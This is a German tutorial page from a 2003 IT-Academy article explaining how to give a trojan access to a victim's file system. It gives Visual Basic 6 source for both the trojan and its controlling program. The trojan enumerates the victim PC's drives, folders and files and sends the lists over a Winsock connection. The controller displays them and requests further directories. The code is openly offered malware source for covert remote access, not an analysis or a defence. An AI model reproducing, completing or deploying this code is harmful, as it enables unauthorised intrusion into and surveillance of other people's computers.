IT-Academy Logo
Sign Up Login Help
Home - Internet - Trojaner: Dateisystemzugriff



Trojaner: Dateisystemzugriff

Wie kann man über einen Trojaner Zugriff auf das Dateisystem eines fremden PCs bekommen?


Autor: N Z (notzomedia)
Datum: 22-12-2003, 12:49:17
Referenzen: keine
Schwierigkeit: Fortgeschrittene
Ansichten: 4865x
Rating: 9 (2x bewertet)

Hinweis:

Für den hier dargestellte Inhalt ist nicht der Betreiber der Plattform, sondern der jeweilige Autor verantwortlich.
Falls Sie Missbrauch vermuten, bitten wir Sie, uns unter missbrauch@it-academy.cc zu kontaktieren.

[Druckansicht] [Als E-Mail senden] [Kommentar verfassen]



Dateisystemzugriff mit einem Trojaner in VB6

Die Grundfunktion des Trojaners und was überhaupt ein Trojaner ist können Sie in meinem Artikel „Das Trojanische Pferd“ nachlesen.

Eigentlich ist es ganz einfach auf das Dateisystem des Opfer-PCs zuzugreifen, da der Trojaner ja ein normales Programm ist. Mit den VB Standard Steuerelementen „DriveListBox“, „DirListBox“ und „FileListBox“ kann man ganz einfach Laufwerks- und Ordnerinhalte lesen. Die gelesenen Daten müssen anschließend noch „verpackt“ und übertragen werden.

Der Trojaner:

Private Sub sendeDaten(einstieg As Integer)
Dim dataSend As String, n0 As Integer

Select Case einstieg
Case 0
dataSend = "~Drive"
For n0 = 0 To Drive1.ListCount - 1
dataSend = dataSend & Drive1.List(n0) & "?"
Next
sendenPunkt = 0
Case 1
dataSend = "~Dir00"
For n0 = 0 To Dir1.ListCount - 1
dataSend = dataSend & Dir1.List(n0) & "?"
Next
Case 2
dataSend = "~File0"
For n0 = 0 To File1.ListCount - 1
dataSend = dataSend & File1.List(n0) & "?"
Next
End Select

sendenPunkt = sendenPunkt + 1
WinsockHack.SendData dataSend

End Sub


Diese Prozedur ist für das Übertragen der Dateisystemdaten verantwortlich. Zuerst wird Sie mit dem Argument „0“ (einstieg) aufgerufen, d. h. es werden zuerst die Laufwerksdaten übertragen. Aus der „DriveListBox“ werden alle Einträge gelesen und durch „?“ getrennt in einen String geschrieben. An den Anfang des Strings wird „~Drive“ geschrieben, ich habe mich entschieden die Tilde (~) als Zeichen für Dateisystemdaten zu benutzen, danach folgt in 5 Zeichen die genauere Bezeichnung der Daten, also z. B. „Drive“, „Dir00“ (für Directory) oder „File0“.
Danach wird der fertige String übertragen.

Das Steuerprogramm:

Private Sub WinsockHack_DataArrival(ByVal bytesTotal As Long)
Dim daten As String, n32 As Integer, Liste As String, objects(0 To 5000) As String, unit As String

WinsockHack.GetData daten

If Left(daten, 1) = "~" Then

daten = Right(daten, Len(daten) - 1)
Liste = Left(daten, 5)
daten = Right(daten, Len(daten) - 5)

n32 = 0

Do Until InStr(1, daten, "?") = 0
objects(n32) = Left(daten, InStr(1, daten, "?") - 1)
n32 = n32 + 1
daten = Right(daten, Len(daten) - InStr(1, daten, "?"))
Loop

n32 = n32 - 1

Select Case Liste
Case "Drive"
For unit = 0 To n32
dropdowndrives.List(unit) = objects(unit)
Next
Case "Dir00"
For unit = 0 To n32
listfolders.List(unit) = objects(unit)
Next
Case "File0"
For unit = 0 To n32
listfiles.List(unit) = objects(unit)
Next
End Select

WinsockHack.SendData "ok123;"

End if

End Sub


Kommt ein Datenpaket beim Trojaner-Steuerprogramm an, so wird diese Prozedur aufgerufen.

Zuerst werden die Daten im String „daten“ gespeichert, danach wird der String auf die Tilde (~) geprüft (d. h. ob es sich um Dateisystemdaten handelt). Nun wird die Tilde vom String abgeschnitten und der String wird in die Variablen „Liste“ für die Bezeichnung der Daten und „daten“ für die Dateisystemdaten geteilt.

Der String „daten“ wird weiter aufgeteilt: die einzelnen Datensätze (getrennt durch „?“) werden auseinander geschnitten und in die Array-Variable „objects“ geschrieben.

Nun wird geprüft, um welche Art von Daten es sich handelt, also Laufwerks-, Ordner- oder Dateidaten.

Danach werden die Daten aus „objects“ in die „ListBox“ bei Ordner- oder Dateidaten bzw. in die „DropDownBox“ bei Laufwerksdaten geschrieben. Zum Abschluss antwortet das Programm dem Trojaner mit „ok123;“ und fordert damit den nächsten Satz Daten an.

Der Trojaner:

Private Sub WinsockHack_DataArrival(ByVal bytesTotal As Long)
Dim daten As String

WinsockHack.GetData daten

Select Case Left(daten, InStr(1, daten, ";") - 1)
Case "ok123"
sendeDaten sendenPunkt
End Select

End Sub


Der Trojaner erkennt den Erfolg der Übertragung und ruft die oben erklärte Prozedur „sendeDaten“ ein weiteres mal auf, diesmal ist die Variable „sendenPunkt“ höher als beim vorherigen mal, d. h. der nächste Satz an Daten wird übertragen.

Damit werden Dateisystemdaten übertragen, sie müssen vom Steuerprogramm aber auch angefordert werden können, z. B. beim Klick auf einen Ordner in der Ordnerliste „listfolders“ soll dieser geöffnet werden:

Das Steuerprogramm:

Private Sub listfolders_Click()

txtpath.Text = listfolders.List(listfolders.ListIndex)

listfolders.Clear
listfiles.Clear

WinsockHack.SendData "1234Refresh;" & txtpath.Text

End Sub


Diese Prozedur wird ausgeführt, wenn man auf einen Eintrag in der Ordnerliste „listfolders“ klickt. Zuerst wird der aktualisierte Pfad in das Textfeld „txtpath“ geschrieben, dann werden die Listen für Ordner und Dateien geleert und anschließend sendet das Programm den Befehl „1234Refresh;“ an den Trojaner, der aktuelle Pfad wird an diesen Befehl angehängt.

Der Trojaner:

Case "1234Refresh"
Dim pfadNow As String

pfadNow = Right(daten, Len(daten) - InStr(1, daten, ";"))

Dir1.Path = pfadNow
File1.Path = pfadNow

Dir1.Refresh
File1.Refresh

sendenPunkt = 1

sendeDaten sendenPunkt


Wir fügen diesen Code in die Prozedur „WinsockHack_DataArrival“ ein. Zuerst wird der an den Befehl angehängte neue Pfad extrahiert und in die Variable „pfadNow“ geschrieben. Ordner- und Dateiliste werden aktualisiert, anschließend wird wieder die Prozedur „sendeDaten“ (siehe oben) aufgerufen, diesmal mit dem Startwert 1, d. h. es werden nur Datei- und Ordnerliste übertragen.


Noch ein Screenshot, wie das Steuerprogramm am Ende aussehen kann:




[back to top]



Userdaten
User nicht eingeloggt

Gesamtranking
Werbung
Datenbankstand
Autoren:04510
Artikel:00815
Glossar:04116
News:13565
Userbeiträge:16552
Queueeinträge:06247
News Umfrage
Ihre Anforderungen an ein Online-Zeiterfassungs-Produkt?
Mobile Nutzung möglich (Ipone, Android)
Externe API Schnittstelle/Plugins dritter
Zeiterfassung meiner Mitarbeiter
Exportieren in CSV/XLS
Siehe Kommentar



[Results] | [Archiv] Votes: 1158
Comments: 0